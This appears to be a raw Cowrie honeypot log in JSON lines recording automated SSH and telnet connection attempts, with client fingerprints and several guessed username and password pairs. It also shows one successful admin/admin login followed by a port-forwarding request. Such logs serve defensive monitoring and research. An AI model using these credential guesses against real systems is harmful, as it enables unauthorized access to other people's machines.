{"eventid":"cowrie.session.closed","duration":35.50948619842529,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:44.747395Z","src_ip":"69.4.83.194","session":"5103e5fe16f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47908,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e26550f9b4e","protocol":"telnet","message":"New connection: 69.4.83.194:47908 (159.203.135.109:23) [session: 9e26550f9b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:53.331575Z"}
{"eventid":"cowrie.session.closed","duration":32.951162576675415,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:56.963209Z","src_ip":"69.4.83.194","session":"689db18a015c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48070,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6de5f7e2d36","protocol":"ssh","message":"New connection: 103.27.238.114:48070 (10.17.0.5:22) [session: f6de5f7e2d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:57.006034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:57.011271Z","src_ip":"103.27.238.114","session":"f6de5f7e2d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:57.294815Z","src_ip":"103.27.238.114","session":"f6de5f7e2d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika1234","message":"login attempt [root/vika1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:58.143966Z","src_ip":"103.27.238.114","session":"f6de5f7e2d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:59.429946Z","src_ip":"103.27.238.114","session":"f6de5f7e2d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49958,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1525077194","protocol":"telnet","message":"New connection: 69.4.83.194:49958 (159.203.135.109:23) [session: 9a1525077194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:40:59.919162Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":35328,"dst_ip":"159.203.135.109","dst_port":23,"session":"644b352e422f","protocol":"telnet","message":"New connection: 79.139.59.21:35328 (159.203.135.109:23) [session: 644b352e422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:18.500376Z"}
{"eventid":"cowrie.session.closed","duration":47.61534070968628,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:22.057066Z","src_ip":"79.139.59.21","session":"154eea98ca28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.514394760131836,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:27.845855Z","src_ip":"69.4.83.194","session":"9e26550f9b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":35430,"dst_ip":"159.203.135.109","dst_port":22,"session":"e555f420d804","protocol":"ssh","message":"New connection: 43.165.174.224:35430 (159.203.135.109:22) [session: e555f420d804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:34.270249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:34.274687Z","src_ip":"43.165.174.224","session":"e555f420d804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:34.436443Z","src_ip":"43.165.174.224","session":"e555f420d804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:35.112686Z","src_ip":"43.165.174.224","session":"e555f420d804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:36.277510Z","src_ip":"43.165.174.224","session":"e555f420d804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.69339919090271,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:36.612241Z","src_ip":"69.4.83.194","session":"9a1525077194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":36586,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41c770247c7","protocol":"telnet","message":"New connection: 79.139.59.21:36586 (159.203.135.109:23) [session: e41c770247c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:41:40.253256Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36979,"dst_ip":"159.203.135.109","dst_port":22,"session":"146e60aa840c","protocol":"ssh","message":"New connection: 168.167.72.132:36979 (159.203.135.109:22) [session: 146e60aa840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:00.543853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:00.557113Z","src_ip":"168.167.72.132","session":"146e60aa840c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:00.805474Z","src_ip":"168.167.72.132","session":"146e60aa840c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:01.824433Z","src_ip":"168.167.72.132","session":"146e60aa840c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:03.076591Z","src_ip":"168.167.72.132","session":"146e60aa840c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53234,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c68f8f386b9","protocol":"telnet","message":"New connection: 69.4.83.194:53234 (159.203.135.109:23) [session: 3c68f8f386b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:24.470148Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7328e48b78","protocol":"telnet","message":"New connection: 178.128.93.180:36988 (10.17.0.5:23) [session: 5b7328e48b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:25.113971Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53982,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb62d3dbb8c","protocol":"ssh","message":"New connection: 103.153.68.219:53982 (159.203.135.109:22) [session: bcb62d3dbb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:25.980454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:25.986145Z","src_ip":"103.153.68.219","session":"bcb62d3dbb8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:26.243505Z","src_ip":"103.153.68.219","session":"bcb62d3dbb8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"56789","message":"login attempt [root/56789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:27.007688Z","src_ip":"103.153.68.219","session":"bcb62d3dbb8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:28.268036Z","src_ip":"103.153.68.219","session":"bcb62d3dbb8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.12776684761047,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:48.380900Z","src_ip":"79.139.59.21","session":"e41c770247c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41123580932617,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:42:57.881269Z","src_ip":"69.4.83.194","session":"3c68f8f386b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.204.71.189","src_port":16691,"dst_ip":"159.203.135.109","dst_port":22,"session":"4acae6e300e3","protocol":"ssh","message":"New connection: 196.204.71.189:16691 (159.203.135.109:22) [session: 4acae6e300e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:04.205629Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:04.211026Z","src_ip":"196.204.71.189","session":"4acae6e300e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41510,"dst_ip":"159.203.135.109","dst_port":23,"session":"16529c292aeb","protocol":"telnet","message":"New connection: 69.4.83.194:41510 (159.203.135.109:23) [session: 16529c292aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:06.188606Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53816,"dst_ip":"10.17.0.5","dst_port":22,"session":"958b4a7fcf6b","protocol":"ssh","message":"New connection: 87.251.79.125:53816 (10.17.0.5:22) [session: 958b4a7fcf6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:09.087742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:09.092179Z","src_ip":"87.251.79.125","session":"958b4a7fcf6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:09.162261Z","src_ip":"87.251.79.125","session":"958b4a7fcf6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456zzz","message":"login attempt [root/123456zzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:09.381027Z","src_ip":"87.251.79.125","session":"958b4a7fcf6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:10.456104Z","src_ip":"87.251.79.125","session":"958b4a7fcf6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52926,"dst_ip":"10.17.0.5","dst_port":22,"session":"641ad5a438a6","protocol":"ssh","message":"New connection: 87.251.64.176:52926 (10.17.0.5:22) [session: 641ad5a438a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:10.817492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:10.822221Z","src_ip":"87.251.64.176","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:10.949314Z","src_ip":"87.251.64.176","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:11.433075Z","src_ip":"87.251.64.176","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:11.565806Z","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:11.697820Z","src_ip":"87.251.64.176","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:11.820961Z","src_ip":"87.251.64.176","session":"641ad5a438a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46002,"dst_ip":"159.203.135.109","dst_port":23,"session":"2172c24120ec","protocol":"telnet","message":"New connection: 69.4.83.194:46002 (159.203.135.109:23) [session: 2172c24120ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:18.396462Z"}
{"eventid":"cowrie.session.closed","duration":120.00104141235352,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:18.501312Z","src_ip":"79.139.59.21","session":"644b352e422f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":46030,"dst_ip":"159.203.135.109","dst_port":22,"session":"21e916d0695d","protocol":"ssh","message":"New connection: 20.205.18.79:46030 (159.203.135.109:22) [session: 21e916d0695d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:19.420223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:19.425996Z","src_ip":"20.205.18.79","session":"21e916d0695d","protocol":"ssh"}
